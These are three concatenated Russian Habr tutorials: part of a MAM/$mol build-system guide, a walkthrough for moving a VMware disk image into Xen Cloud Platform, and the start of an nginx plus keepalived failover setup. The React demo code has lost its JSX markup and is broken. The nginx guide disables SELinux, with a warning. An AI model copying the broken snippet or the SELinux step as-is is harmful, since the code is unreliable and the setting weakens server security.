git remote add origin https://github.com/**YOUR_NAME**/mam_my.git
git push -u origin main
```
3. Повторяем шаги 1 и 2 для модулей `$my_lom` и `$my_counter`. Репозитории назовите `my_lom` и `my_counter` соответственно.
```
cd mam/my/lom
echo "# mam_lom" > readme.md
echo "-*" > .gitignore
git init
git add --all
git commit -m "Init"
git branch -M main
git remote add origin https://github.com/**YOUR_NAME**/my_lom.git
git push -u origin main
cd mam/my/counter
echo "# mam_counter" > readme.md
echo "-*" > .gitignore
git init
git add --all
git commit -m "Init"
git branch -M main
git remote add origin https://github.com/**YOUR_NAME**/my_counter.git
git push -u origin main
```
4. Создайте файл `mam/my/my.meta.tree` с таким содержимым:
```
pack lom git \https://github.com/**YOUR_NAME**/my_lom.git
pack counter git \https://github.com/**YOUR_NAME**/my_counter.git
```
5. Отправьте коммит с ним в удаленный репозиторий
```
cd mam/my
git add my.meta.tree
git commit -m "Add meta.tree"
git push
```
Удалите директории модулей `$my_lom` и `$my_counter`, и запустите сборку модуля `$my_counter` - `npm start my/counter`. Сборщик загрузит репозитории и соберет модуль. В логе вы увидите следующее:
```
come
time \2022-03-25T19:42:27.723Z
place \$mol_exec
dir \my/lom
message \Run
command \git init
come
time \2022-03-25T19:42:27.738Z
place \$mol_exec
dir \my/lom
message \Run
command \git remote show https://github.com/**YOUR_NAME**/my_lom.git
come
time \2022-03-25T19:42:28.475Z
place \$mol_exec
dir \my/lom
message \Run
command \git remote add --track main origin https://github.com/**YOUR_NAME**/my_lom.git
come
time \2022-03-25T19:42:28.488Z
place \$mol_exec
dir \my/lom
message \Run
command \git pull
```
#### Разделение кода на платформы
MAM поддерживает две платформы - браузер и NodeJS. Файлы кода с тегом `web` будут включены только в `web.js` бандл, а с тегом `node` только в `node.js`. Код без тега платформы попадет в оба бандла.
Ранее, мы добавили костыль `if (typeof document === undefined) return`, для того чтобы не падали тесты под NodeJS. Теперь исправим его.
Но сначала займемся небольшим рефакторингом, добавьте два статических метода в класс `$my_lom_view`.
```
// mam/my/lom/view/view.ts
static root: ()=> typeof $my_lom_view
static mount() {
const node = document.querySelector( '#root' )
if ( !node ) return
const View = this.root()
const obj = new View
node.replaceWith( obj.dom_tree() )
setInterval( ()=> obj.dom_tree() , 100 )
}
```
Мы переместили метод `mound` и добавили метод `root`, который поможет указать какой компонент является корневым.
Удалите метод `mount` и его вызов из класса `$my_counter` и добавьте присвоение компонента методу `root`.
```
// mam/my/counter/counter.ts
// ...
// - static mount() {
// - if ( typeof document === 'undefined' ) return
// -
// - const node = document.querySelector( '#root' )
// - const obj = new $my_counter()
// -
// - node?.replaceWith( obj.dom_tree() )
// -
// - setInterval( ()=> obj.dom_tree() , 100 )
// - }
}
// - $my_counter.mount()
$my_lom_view.root = ()=> $my_counter // +
```
Создайте файла `view.web.ts` в модуле `$my_lom_view`.
```
// mam/my/lom/view/view.web.ts
Promise.resolve( ()=> $my_lom_view.mount() )
```
Этот код будет добавлен только в `web` бандл. Метод `mount` вызывается асинхронно, потому что в бандле `$my_lom_view` находится выше, чем `$my_counter` и установка значения происходит после запуска этого кода. Соберите модуль `$my_counter` вручную и проверьте что этот код присутствует в `web.js` бандле и отсутcтвует в бандле `node.js`.
#### Как использовать NPM-пакеты в node?
Для использования NPM пакетов и модулей с которыми поставляется NodeJS создан специальный модуль `$node`. Вы просто пишите `$node['is-odd']` или `$node.express`. Сборщик MAM автоматически установит эти пакеты их typescript типы, добавит их в бандл `package.json`.
Сейчас мы добавим изоморфности в наше приложение. Создайте директорию для модуля `$my_lom_dom_context` и файл `context.ts`.
```
// mam/my/lom/dom/context/context.ts
let $my_lom_dom_context: typeof globalThis
```
В общем коде для `node` и `web`, мы просто объявили переменную, которой будет присвоено различное значение в зависимости от платформы. Создайте файл `context.web.ts`.
```
// mam/my/lom/dom/context/context.web.ts
$my_lom_dom_context = self
```
В `web` мы присваиваем этой переменной объект `window`. Создайте файл `context.node.ts`.
```
// mam/my/lom/context/context.node.ts
$my_lom_dom_context = new $node.jsdom.JSDOM( '' , { url : 'https://localhost/' } ).window as any
```
В `node` мы присваиваем этой переменной экземпляр класса `JSDOM`, с помощью него наш код сможет работать под NodeJS. Для `ssr` такого решения не достаточно, но для тестов вполне.
`as any` потому что `jsdom` не реализует все браузерное `API` и его типы с `typeof globalThis` не сходятся.
Замените прямые обращения к `document`, на использование `$my_lom_dom_context.document`:
```
// $my_lom_view.mount
const node = $my_lom_dom_context.document.querySelector( '#root' )
// $my_lom_view.dom_node
const node = $my_lom_dom_context.document.createElement( this.dom_name() )
// $my_lom_theme
$my_lom_dom_context.document.documentElement.setAttribute( /*...*/ )
```
Запустите сборку вручную `npm start my/counter`. Если директория `mam/node_modules` не содержит `jsdom`, вы увидите в терминале подобные сообщения:
```
> start
> node ./mol/build/-/node.js "my/counter"
come
time \2022-03-25T19:21:46.435Z
place \$mol_exec
dir \
message \Run
command \npm install jsdom
come
time \2022-03-25T19:21:50.155Z
place \$mol_exec
dir \
message \Run
command \npm install @types/jsdom
```
В файл `mam/my/counter/-/package.json` добавятся зависимости:
```
{
"jsdom": "*",
"colorette": "*"
}
```
Модуль `$node` имеет зависимость от модуля, который использует NPM-пакет `colorlette`, поэтому он тоже добавился в `package.json`.
`*` используется, потому что MAM использует модель `verless` с NPM тоже. В экстренном случае, можно в директории модуля создать `package.json` и зафиксировать версию пакета в нем.
Файл `mam/my/counter/-node/deps.d.ts` содержит typescript типы для всех модулей NPM и NodeJS.
```
interface $node {
"jsdom" : typeof import( "jsdom" )
"colorette" : typeof import( "colorette" )
"path" : typeof import( "path" )
"child_process" : typeof import( "child_process" )
}
```
#### Как добавить статический файл в дистрибутив?
Для этого в `*.meta.tree` предусмотрена команда `deploy`. Нужно его создать и добавить строку `deploy \path/to/file/image.png`. При сборке файл будет скопирован в `mam/my/module/-/path/to/file/image.png`. [Пример meta.tree файла](https://github.com/hyoo-ru/mam_mol/blob/doc/app/supplies/supplies.meta.tree).
Давайте добавим fav-иконку к нашему приложению. Создайте модуль `$my_counter_logo` и скачайте туда [эту](https://raw.githubusercontent.com/hyoo-ru/mam_mol/master/logo/logo.svg) иконку.
В модуле `$my_counter`, создайте файл `counter.meta.tree`:
```
deploy \/my/counter/logo/logo.svg
```
Соберите модуль `npm start my/counter`, после сборки, вы найдете иконку по пути `mam/my/counter/-/my/counter/logo/logo.svg`.
В `index.html` добавьте строку внутри тега `head`.
#### Как включить модуль в проект, на который никто не ссылается?
Сборщик автоматически включает в дистрибутив модули от которых зависит собираемый модуль. Иногда вам нужно добавить модули, от которых ваш код не зависит. [Например](https://github.com/hyoo-ru/mam_mol/blob/doc/app/demo/demo.meta.tree), когда вы создаете приложение с каталогом компонентов. Для этого используются две команды `require` и `include`, которые добавляются в файл `meta.tree`. Если необходимо подключить код указанного в команде модуля, раньше кода модуля в котором находится `meta.tree`, то используйте `require` иначе используйте `include`.
Создайте директорию для модуля `$my_lom_lib` и внутри файл `lib.meta.tree`, с таким содержимым:
```
include \/my/lom/button
include \/my/lom/dom
include \/my/lom/input
include \/my/lom/lib
include \/my/lom/storage
include \/my/lom/theme
include \/my/lom/view
```
Соберите модуль `$my_lom_lib` и проверьте `js` бандл. Все подключенные модули будут добавлены в него.
#### Развертывание модуля в NPM
Теперь настроим автопубликацию модуля `$my_lom_lib` в NPM. Для начала создайте аккаунт или войдите.
```
npm adduser
# or
npm login
```
Откройте бандл `mam/my/lom/lib/-/package.json` и проверьте поле `name`. Имя генерируется автоматически, несколько человек не смогут опубликовать модуль, если проходя это руководство используют имя `my` для неймспейса. Создайте файл `package.json` в модуле `$my_lom_lib` с другим именем.
```
// mam/my/lom/lib/package.json
{
name: "my_lom_lib_test"
}
```
Поля из добавленного `package.json` будут объедены с полями сгенерированного `package.json`. Если вы сейчас соберете модуль, то увидите что бандле имя изменилось.
Убедимся что имя свободно.
```
npm search my_lom_lib_test
```
Если занято, измените его.
Создайте персональный токен доступа для NPM.
```
npm token create
```
Создайте секрет в репозитории `my_lom` с именем `NPM_AUTH_TOKEN` и созданным токеном в качестве значения.
Создайте файл `mam/my/lom/.github/workflows/my_lom_lib.yml`:
```
name: my_lom_lib
on:
workflow_dispatch:
push:
branches:
- main
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Environment Printer
uses: managedkaos/print-env@v1.0
- name: Build apps
uses: hyoo-ru/mam_build@master2
with:
package: my/lom
modules: lib
- uses: JS-DevTools/npm-publish@v1
with:
token: ${{ secrets.NPM_AUTH_TOKEN }}
package: ./my/lom/lib/-/package.json
```
Отправьте изменения на гитхаб и через несколько минут, пакет будет опубликован в NPM.
При использовании NPM-пакетов, мы просто экспортируем их имена из нужного бандла `web` или `node`.
```
import {
$my_lom_view as View,
} from "my_lom_lib_test/web";
```
#### Как использовать NPM в web?
Чтобы NPM-пакет работал в браузере, его код необходимо добавить в бандл `web.js`.
На данный момент MAM сборщик самостоятельно обрабатывает код NPM-пакетов, т.к. он не заточен под NPM, это приводит к некоторым проблемам. Например не умеет удалять неиспользуемые ветки кода - `if (process.env.NODE_ENV === 'development') {}`. Так же у MAM нет необходимости в `treeshaking`, т.к. он сразу подключает только используемые модули, но NPM-пакетам он нужен. В будущем код NPM-пакетов, будет обрабатываться отдельным бандлером, таким как `webpack` и т.п.
В общем виде процесс подключения NPM-пакета выглядит так:
* создать модуль для этого пакета.
* в модуле импортировать пакеты и типы через `require`.
* положить все сущности которые надо экспортировать из пакета в переменные с FQN-именами.
Простой [пример](https://github.com/hyoo-ru/mam_lib/blob/master/ramda/ramda.ts) подключения `ramda`. Код модуля может быть сложнее простого реэкспорта. Например там может быть какой-нибудь адаптер, или демо с примером использования модуля.
Для NPM-пакетов создан отдельный модуль `$lib`, [ссылка на репозиторий](https://github.com/hyoo-ru/mam_lib). При добавлении какого-то пакета, лучше добавлять его сразу туда.
**При сборки модуля, NPM-пакеты установятся автоматически. При необходимости версию можно зафиксировать в корневом** `package.json`.
Сейчас мы не будем будем использовать написанное ранее приложение, а добавим модуль подключающий `ReactJS` в MAM. Он уже добавлен [сюда](https://github.com/hyoo-ru/mam_lib/tree/master/react). Для практики, вы можете самостоятельно добавить другой пакет по примеру ниже.
Для начала нужно загрузить репозиторий модуля `$lib`, запустите `npm start lib`. Загрузить его можно и через `git clone`, но ссылка на репозиторий уже находится в `mam/.meta.tree`, сборщик сам загрузит его по ней.
Создайте директорию для модуля `$lib_react` и `ts` файл в ней.
```
namespace $ {
const React = require('react') as typeof import('react')
export const $lib_react = React
export const $lib_react_jsx = React.createElement
}
```
*Тут используется* `namespace $ {}` - они используются в системе инверсии контроля `$mol`, как средство авторегистрации сущностей в контейнере, об этом мы поговорим в другой главе.
Мы просто импортировали `ReactJS` и положили его в `$lib_react`. В `$lib_react_jsx` вынесена функция `createElement`, она будет использоваться как короткая ссылка для указания какую функцию использовать при транспиляции `tsx`.
```
/** @jsx $lib_react_jsx */
```
Создадим модуль для `react-dom` - `$lib_react_dom`.
```
// mam/lib/react/dom/dom.ts
namespace $ {
const ReactDOM = require('react-dom') as typeof import('react-dom')
const Client = require('react-dom/client.js') as typeof import('react-dom/client')
export const $lib_react_dom = ReactDOM
export const $lib_react_dom_client = Client
}
```
В модуль `$lib_react_demo` положим приложение счетчик, для иллюстрации работы с модулем `$lib_react`.
```
```
```
// mam/lib/react/demo/demo.tsx
/** @jsx $lib_react_jsx */
namespace $ {
export function $lib_react_demo() {
const [count, count_set] = $lib_react.useState( 0 )
return
count\_set(count - 1)}>-
count\_set( Number( (e.target as HTMLInputElement).value ) )}
/>
count\_set(count + 1)}>+
}
const element = document.getElementById( 'root' )
if ( !element ) throw new Error('Cannot find root element')
const root = $lib_react_dom_client.createRoot( element )
root.render( <$lib_react_demo /> )
}
```
Попробуйте открыть демо-приложение. Запустите дев-сервер и откройте в файловом менеджере `lib/react/demo`. Вы увидите ошибку.
```
// Uncaught ReferenceError: process is not defined
// at Object. (react.development.js:12:1)
// at -:2:1
if (process.env.NODE\_ENV !== "production") {/\*...\*/}
```
Сборщик не умеет вырезать такие куски кода, пока что обойдемся заглушкой. Создадим для этого модуль `$lib_react_env`.
```
// mam/lib/react/env/env.ts
var process = process || { env: { NODE_ENV: 'development' } } as any
```
Используем `var`, чтобы без дополнительного кода объявить переменную на глобальном объекте. `namespace` тут не нужен, т.к. тогда typescript завернет этот код в вызов функции.
Нам нужно, чтобы этот код был включен в бандл и выполнен раньше, чем код `ReactJS`. Создадим файл `mam/lib/react/react.meta.tree`.
```
require \/lib/react/env
```
Код из модуля `$lib_react_env`, будет подключен в начало банла, перед кодом ReactJS.
Обновите страницу, приложение должно заработать. Этот адаптер нуждается в доработке, но для начала годится.
#### Развертывание приложения на Github Pages
Для этого нужно создайте файл `.github/workflows/deploy.yml` в модуле, который вынесен в отдельный репозиторий.
```
name: Deploy
on:
workflow_dispatch:
push:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: hyoo-ru/mam_build@master2
with:
token: ${{ secrets.GH_PAT }}
package: 'my/wiki'
- uses: alex-page/blazing-fast-gh-pages-deploy@v1.1.0
if: github.ref == 'refs/heads/master'
with:
repo-token: ${{ secrets.GH_PAT }}
site-directory: 'my/wiki/-'
```
После отправки коммита, приложение будет задеплоено. Исходники github action [тут](https://github.com/hyoo-ru/mam_build).
Сейчас настроим деплой нашего приложения на github. Сначала создайте персональный токен доступа [тут](https://github.com/settings/tokens). Создайте секрет в настройках репозитория `my_counter`, с созданным токеном, назовите его GH\_PAT.
Создайте файл `deploy.yml`, не забудьте заменить `\*\*YOUR_NAME\*\*` в ссылке на репозиторий `mam_my`.
```
# mam/my/counter/.github/workflows/deploy.yml
name: Deploy
on:
workflow_dispatch:
push:
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Build app
uses: hyoo-ru/mam_build@master2
with:
token: ${{ secrets.GH_PAT }}
package: 'my/counter'
meta: |
my https://github.com/**YOUR_NAME**/mam_my
- name: Deploy on GitHub Pages
if: github.ref == 'refs/heads/main'
uses: alex-page/blazing-fast-gh-pages-deploy@v1.1.0
with:
repo-token: ${{ secrets.GH_PAT }}
site-directory: 'my/counter/-'
```
Параметры, которые принимает github action описаны в [readme](https://github.com/hyoo-ru/mam_build/blob/master2/README.md). Параметр `meta` содержит ссылку на репозиторий неймспейса `mam_my`, т.к. у него в файле `my.meta.tree` указана ссылка на репозиторий модуля `$my_lom`, который нужен для сборки приложения. Если его не указывать, то сборка завершится ошибкой - не найден модуль ``$my\_lom`.
После отправки изменений на github, начнется сборка, после ее окончания, вы найдете ссылку на приложение тут: `https://github.com/**YOUR_NAME**/my_counter/settings/pages`.
Скопируйте ее в описание репозитория.
#### Циклические зависимости
Сборщик оценивает жесткость зависимостей, чем она сильнее тем раньше модуль будет включен в бандл. Жесткость оценивается по простой эвристике - количеству отступов в строке, в которой находится зависимость.
Для демонстрации циклической зависимости, мы создадим несколько файлов с кодом вне директории MAM и запустим их с помощью NodeJS.
Создайте где-нибудь директорию `cyclic` и файл `all.mjs`
```
// cyclic/all.mjs
export class Foo {
get bar() {
return new Bar();
}
}
export class Bar extends Foo {}
console.log(new Foo().bar);
```
Запустите его `node app.mjs` - ошибок нет. В нем есть циклическая зависимость, но код работает корректно. Разделим его на несколько файлов.
```
// cyclic/foo.mjs
import { Bar } from './bar.mjs';
export class Foo {
get bar() {
return new Bar();
}
}
```
```
// cyclic/bar.mjs
import { Foo } from './foo.mjs';
export class Bar extends Foo {}
```
```
// cyclic/app.mjs
import { Foo } from './foo.mjs';
console.log(new Foo().bar);
```
Запустите `node app.mjs`, вы увидите ошибку `ReferenceError: Cannot access 'Foo' before initialization`. Для ее исправления, нужно добавить импорт `bar.mjs` перед `foo.mjs`.
```
// cyclic/app_fix.mjs
import './bar.mjs';
import { Foo } from './foo.mjs';
console.log(new Foo().bar);
```
Теперь перенесем этот код в MAM. Создайте модули `$my_foo`, `$my_bar`, `$my_app` с соответствующим содержимым.
```
// mam/my/foo/foo.ts
class $my_foo {
get bar() {
return new $my_bar();
}
}
```
```
// mam/my/bar/bar.ts
class $my_bar extends $my_foo {}
```
```
// mam/my/app/app.ts
console.log(new $my_foo().bar);
```
Соберите модуль `$my_app` и посмотрите код в `js` бандле.
```
"use strict";
class $my_foo {
get bar() {
return new $my_bar();
}
}
//my/foo/foo.ts
;
"use strict";
class $my_bar extends $my_foo {
}
//my/bar/bar.ts
;
"use strict";
console.log(new $my_foo().bar);
//my/app/app.ts
```
Сборщик склеивает файлы в таком порядке, как будто мы изначально писали код в одном файле. Зависимость `$my_bar` от `$my_foo` сильнее чем `$my_foo` от `$my_bar`, поэтому модули добавляются в бандл в таком порядке: `$my_foo`, `$my_bar`, `$my_app`.
### Рекомендации по использованию MAM
* Создайте корневой нейспейс - вам нужен модуль, который будет содержать все ваши наработки. Разместите его в отдельном репозиторий.
* Если планируется распространять ваш код по открытой лицензии, то добавьте ссылку на него в [корневой](https://github.com/hyoo-ru/mam/blob/master/.meta.tree) `meta.tree` через pull-request.
* В рамках вашего неймспейса создаются неймспейсы для публичных и приватных модулей, которые разносятся по разным репозиториям.
* Модули группируются по функциональности, а не по типу. Не должно быть директорий-складов `actions`, `components`, `containers`, `helpers`, `utils` и т.п. Модуль должен представлять из себя домен, который хорошо решает свою задачу. Например "хелпер" для сравнения объектов, можно отправить в модуль `$my_object` или сразу вынести в подмодуль `$my_object_equal` и использовать его на всех проектах.
* Вся важная функциональность должна покрываться тестами.
* При замораживании разработки репозиторий дев-окружения форкается и ревизии фиксируются через git-merge-tree, а также обновляется пайплайн на использование форка.
### В следующей части
В следующей части мы научимся работать с системой реактивности $mol
### Контакты
<https://t.me/mam_mol> - с вопросами, проблемами, предложеними пишите в наш чат. Вступайте, если следите за проектом.
<https://t.me/mol_news> - новости об экосистеме фреймворка $mol. | https://habr.com/ru/post/662680/ | null | ru | null |
# Xen Cloud Platform: Как поселить чужую VM в новый дом

Возникла у нас следующая задача:
* Есть подготовленный и настроенный в VMware образ виртуальной машины, в нашем конкретном случае FreeBSD 8.1
* Есть виртуальная платформа XCP 1.6 в которой уже крутятся наши виртуальные машинки
Необходимо поселить новую VM на наш сервер, при этом с минимальным количеством телодвижений. Статья представляет собой собранною воедино информацию из нескольких источников. Кроме того я постарался причесать команды, чтобы вам, да и мне самому, просто применять их копи-пастом в будущем.
##### Первое, что нам нужно сделать, это получить сырой образ виртуальной машины
Мы получили из внешнего источника системные требования *PIII 1000Mhz, 512RAM, 20Gb IDE* и следующие файлы:
```
FreeBSD.nvram 8684
FreeBSD.vmdk 7131758592
FreeBSD.vmsd 0
FreeBSD.vmx 2234
FreeBSD.vmxf 262
```
Нужный нам файл — это образ диска *FreeBSD.vmdk*, который необходимо конвертировать в «сырой» формат. Для этого мы используем утилиту *qemu-img* из пакета *app-emulation/qemu*. Естественно устанавливать его на сервер нет необходимости, образ можно конвертировать на любой linux-машине. Предварительно убеждаемся, что формат образа *vmdk*. Если формат *raw*, то конвертировать ничего не нужно и просто переходим к следующему шагу.
```
$ qemu-img info FreeBSD.vmdk
image: FreeBSD.vmdk
file format: vmdk
virtual size: 20G (21474836480 bytes)
disk size: 6.6G
```
Далее собственно конвертация, после которой получаем бинарный образ жесткого диска размером 20 гигабайт:
```
$ qemu-img convert FreeBSD.vmdk -O raw FreeBSD.raw
FreeBSD.raw 21474836480
```
Способ доставки данного образа на сервер визуализации может быть любым удобным вам, в нашем случае я просто скопировал его на внешнее хранилище доступное из dom0.
Необходимо так же создать подходящую VM, руководствуясь системными требованиями. Описывать тут особо нечего, мы используем для управления нашими виртуалками свободный XenCenter.
##### Восстановление диска виртуальной машины из бинарного образа
Заходим в шел сервера визуализации и находим *UUID* витальной машины:
```
$ xe vm-list
...
uuid ( RO) : c681c725-xxxx-xxxx-xxxx-5d7cd920bdbf
name-label ( RW): FreeBSD
power-state ( RO): halted
...
$ export VMUUID=c681c725-xxxx-xxxx-xxxx-5d7cd920bdbf
```
устанавливаем загрузчик:
```
$ xe vm-param-set uuid=$VMUUID PV-bootloader=pygrub
```
жесткий диск делаем загрузочным, а виртуальный CD-привод не загрузочным:
```
$ xe vbd-param-set uuid=$(xe vbd-list vm-uuid=$VMUUID userdevice=0 --minimal) bootable=true
$ xe vbd-param-set uuid=$(xe vbd-list vm-uuid=$VMUUID type=CD --minimal) bootable=false
```
находим идентификатор VDI-диска свежесозданной виртуальной машины:
```
$ xe vm-disk-list uuid=$VMUUID
Disk 0 VBD:
uuid ( RO) : 50adb0d9-xxxx-xxxx-xxxx-f8f64e5c4f19
vm-name-label ( RO): FreeBSD
userdevice ( RW): 0
Disk 0 VDI:
uuid ( RO) : af85b950-xxxx-xxxx-xxxx-b5203ba45aae
name-label ( RW): FreeBSD
sr-name-label ( RO): Local storage
virtual-size ( RO): 21474836480
$ export VDIID=af85b950-xxxx-xxxx-xxxx-b5203ba45aae
```
переходим в окружение, в котором доступен жесткий диск виртуальной машины:
```
$ /opt/xensource/debug/with-vdi $VDIID /bin/bash
```
теперь устройство */dev/$DEVICE* — это жесткий диск виртуальной машины. Осталось накатить на него образ, который мы получили в самом начале:
```
$ /opt/xensource/libexec/sparse_dd -src /var/run/sr-mount/.../FreeBSD.raw -dest /dev/$DEVICE \
-size 21474836480 -prezeroed
$ exit
```
Вот собственно и все, можно стартовать виртуальную машину.
**UPD:**
В некоторых случаях при копировании образа жесткого диска может возникать следующая ошибка:
```
Device /var/run/sr-mount/.../<образ.img> has an unknown driver
```
Возникает это потому, что разные системы виртуализации возможно по-разному понимают что такое гигабайт. Приведу пример. Я переносил виртуальную машину linux с двумя дисками 6Гб и 2Гб с Hyper-V на XCP. Все в точности аналогично описанному в данной статье. После конвертации я получил следующие бинарные файлы жестких дисков:
```
-rwxrwx--- 1 1000 1000 6442426368 Sep 10 16:51 sda.raw
-rwxrwx--- 1 1000 1000 2147484160 Sep 10 17:00 sdb.raw
```
А диски свежесозданной VM выглядят так:
```
# xe vm-disk-list uuid=$VMUUID
Disk 0 VBD:
uuid ( RO) : 6e81420a-xxxx-xxxx-xxxx-98b4fc8a5fd4
vm-name-label ( RO): linux
userdevice ( RW): 1
Disk 0 VDI:
uuid ( RO) : 3af76842-xxxx-xxxx-xxxx-b78dca108b22
name-label ( RW): linux-sdb
sr-name-label ( RO): Local storage
virtual-size ( RO): 2147483648
Disk 1 VBD:
uuid ( RO) : 28784fa2-xxxx-xxxx-xxxx-6100d97ccc29
vm-name-label ( RO): linux
userdevice ( RW): 0
Disk 1 VDI:
uuid ( RO) : f858579c-xxxx-xxxx-xxxx-5fc0493269fa
name-label ( RW): linux-sda
sr-name-label ( RO): Local storage
virtual-size ( RO): 6442450944
```
Как можно убедиться, бинарный файл sda.raw чуть меньше чем 6ГБ, а sdb.raw — чуть больше 2Гб. Почему так происходит, можно только гадать. Я просто взял при копировании меньшую из двух величин. Не знаю, на сколько такое решение корректно и/или универсально, в моем случае VM корректно стартовала и никаких проблем не наблюдается.
##### Источники:
1. [www.howtoforge.com/how-to-convert-a-xen-virtual-machine-to-vmware](http://www.howtoforge.com/how-to-convert-a-xen-virtual-machine-to-vmware)
2. [serverfault.com/questions/471958/how-to-migrate-from-xen-to-xcp](http://serverfault.com/questions/471958/how-to-migrate-from-xen-to-xcp) | https://habr.com/ru/post/177679/ | null | ru | null |
# «Идеальный» www кластер. Часть 1. Frontend: NGINX + Keepalived (vrrp) на CentOS

Этом цикле статей «Идеальный www кластер», я хочу передать базовые основы построения высокодоступного и высокопроизводительного www решения для нагруженных web проектов для неподготовленного администратора.
Статья будет содержать пошаговую инструкцию и подойдет любому человеку кто освоил силу copy-paste
Ошибки найденые вами, помогут в работе и мне и тем кто будет читать эту статью позже! Так что любые улучшение и правки приветствуются!
**Хочу отметить, что эта инструкция родилась в процессе миграции web-систем компании [Acronis](http://habrahabr.ru/company/acronis/) в высокодоступный кластер. Надеюсь мои заметки будут полезны и для Вас!.**
В процессе экспертизы и проведенных мною исследований, она доказала свое право на жизнь и благополучно служит нам верой и правдой день ото дня.
#### На frontend мы будем использоваться связку из двух службы:
> **keepalived** — реализации протокола VRRP (Virtual Router Redundancy Protocol) для Linux. Демон keepalived следит за работоспособностью машин и в случае обнаружения сбоя — исключает сбойный сервер из списка активных серверов, делегируя его адреса другому серверу.
>
>
>
> Другими словами, у нас 2 сервера на которых прописано по одному публичному адресу. Если любой из этих серверов падает, то адрес упавшего подхватывается вторым.
>
> Демоны keepalived общаются по протоколу VRRP, посылая друг другу сообщения на адрес 224.0.0.18.
>
> Если сосед не прислал свое сообщение, то по истечению периода он считается умершим и оба адреса обслуживает оставшаяся нода. Как только упавший сервер начинает слать свои сообщения в сеть, все возвращается на свои места
> **nginx** [engine x] — это HTTP-сервер и обратный прокси-сервер, а также почтовый прокси-сервер, написанный Игорем Сысоевым. Уже длительное время он обслуживает серверы многих высоконагруженных российских сайтов, таких как Яндекс, Mail.Ru, ВКонтакте и Рамблер. Согласно статистике Netcraft nginx обслуживал или проксировал 15.08% самых нагруженных сайтов в октябре 2013 года.
>
>
>
> **Основная функциональность HTTP-сервера**
>
>
>
> * Обслуживание статических запросов, индексных файлов, автоматическое создание списка файлов, кэш дескрипторов открытых файлов;
> * Акселерированное обратное проксирование с кэшированием, простое распределение нагрузки и отказоустойчивость;
> * Акселерированная поддержка FastCGI, uwsgi, SCGI и memcached серверов с кэшированием, простое распределение нагрузки и отказоустойчивость;
> * Модульность, фильтры, в том числе сжатие (gzip), byte-ranges (докачка), chunked ответы, XSLT-фильтр, SSI-фильтр, преобразование изображений; несколько подзапросов на одной странице, обрабатываемые в SSI-фильтре через прокси или FastCGI, выполняются параллельно;
> * Поддержка SSL и расширения TLS SNI.
>
>
>
>
>
> **Другие возможности HTTP-сервера**
>
>
>
> * Виртуальные серверы, определяемые по IP-адресу и имени;
> * Поддержка keep-alive и pipelined соединений;
> * Гибкость конфигурации;
> * Изменение настроек и обновление исполняемого файла без перерыва в обслуживании клиентов;
> * Настройка форматов логов, буферизованная запись в лог, быстрая ротация логов;
> * Специальные страницы для ошибок 3xx-5xx;
> * rewrite-модуль: изменение URI с помощью регулярных выражений;
> * Выполнение разных функций в зависимости от адреса клиента;
> * Ограничение доступа в зависимости от адреса клиента, по паролю (HTTP Basic аутентификация) и по результату подзапроса;
> * Проверка HTTP referer;
> * Методы PUT, DELETE, MKCOL, COPY и MOVE;
> * FLV и MP4 стриминг;
> * Ограничение скорости отдачи ответов;
> * Ограничение числа одновременных соединений и запросов с одного адреса;
> * Встроенный Perl.
>
>
>
>

**Важно!** Для приведенного ниже решения, у нас должно быть 2 сетевых интерфейса на каждой из нод keepalived
мы должны точно указать нашу маску и понимать где в нашей сети находится broadcast, если этого не сделать, то будем очень долго пытаться понять почему у нас все работает не так как мы хотим!
**# Моя приватная сеть
[root@nginx-frontend-01 ~]#**
```
nano /etc/sysconfig/network-scripts/ifcfg-eth2
```
```
DEVICE=eth2
BOOTPROTO=static
ONBOOT=yes
IPADDR=10.100.100.56
NETWORK=10.100.100.0
NETMASK=255.255.255.0
BROADCAST=10.100.100.255
```
**# Публичная сеть
[root@nginx-frontend-01 ~]#**
```
nano /etc/sysconfig/network-scripts/ifcfg-eth3
```
```
DEVICE=eth3
BOOTPROTO=static
ONBOOT=yes
IPADDR=72.x.x.1
NETMASK=255.255.255.248
BROADCAST=72.x.x.55
GATEWAY=72.x.x.49
```
**То есть в моей публичной сети, маска /29 и значит мой broadcast x.x.x.55, если бы была сеть /24, то можно было бы указать x.x.x.255
Если это перепутать, то вы отгребете кучу проблем**
**# Устанавливаем keepalived**
```
yum install keepalived -y
```
**# Это очень плохо, этого делать не нужно! только в тестовых целях и на свой страх и риск, я предупредил. Выключаем selinux**
```
sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/sysconfig/selinux
```
**# Настраиваем keepalived на первой ноде nginx-frontend-01, очень важно, знак коментария "!" а не "#"**
```
mv /etc/keepalived/keepalived.conf /etc/keepalived/keepalived.conf.old && nano /etc/keepalived/keepalived.conf
```
**[root@nginx-frontend-01 ~]#**
```
nano /etc/keepalived/keepalived.conf
```
```
! Configuration File for keepalived
global_defs {
notification_email {
root@localhost
}
notification_email_from root@localhost
smtp_server localhost
smtp_connect_timeout 30
! Именное обозначение этого сервера
router_id nginx-frontend-01
}
vrrp_instance nginx2 {
! Состояние в котором стартует нода, в этом случае она резерв
state BACKUP
! Наш публичиный интерфейс
interface eth3
! Индификатор, в разных vrrp_instance он должен быть разным
virtual_router_id 102
! Это приоритет этой ноды перед другими, у BACKUP он всегда должен быть ниже чем у MASTER
priority 100
advert_int 1
dont_track_primary
! Тут можно на всякий случай указать наш broadcast
mcast_src_ip x.x.x.55
! Пароль можно указать любой, но одинаковый для серверов
authentication {
auth_type PASS
auth_pass b65495f9
}
! Этот адрес возмет себе сервер, если MASTER в сети упадет
virtual_ipaddress {
x.x.x.2/29 dev eth3
}
}
vrrp_instance nginx1 {
! Эта нода - мастер, она использует адрес из этой секции и ее заменит другая, если эта упадет
state MASTER
! Наш публичиный интерфейс
interface eth3
! Индификатор, в разных vrrp_instance он должен быть разным
virtual_router_id 101
! Для мастера это значение обязательно выше чем для backup
priority 200
advert_int 1
dont_track_primary
! Тут можно на всякий случай указать наш broadcast
mcast_src_ip x.x.x.55
! Пароль можно указать любой, но одинаковый для серверов
authentication {
auth_type PASS
auth_pass b65495f8
}
virtual_ipaddress {
! Нода стартует с этим адресом, если эта нода упадет, этот адрес подхватит другая
x.x.x.1/29 dev eth3
}
! Для мастера нужно прописать gateway
virtual_routes {
default via x.x.x.49 dev eth3 metric 2
}
}
```
**# Настраиваем keepalived на второй ноде nginx-frontend-02 очень важно, знак коментария "!" а не "#"**
```
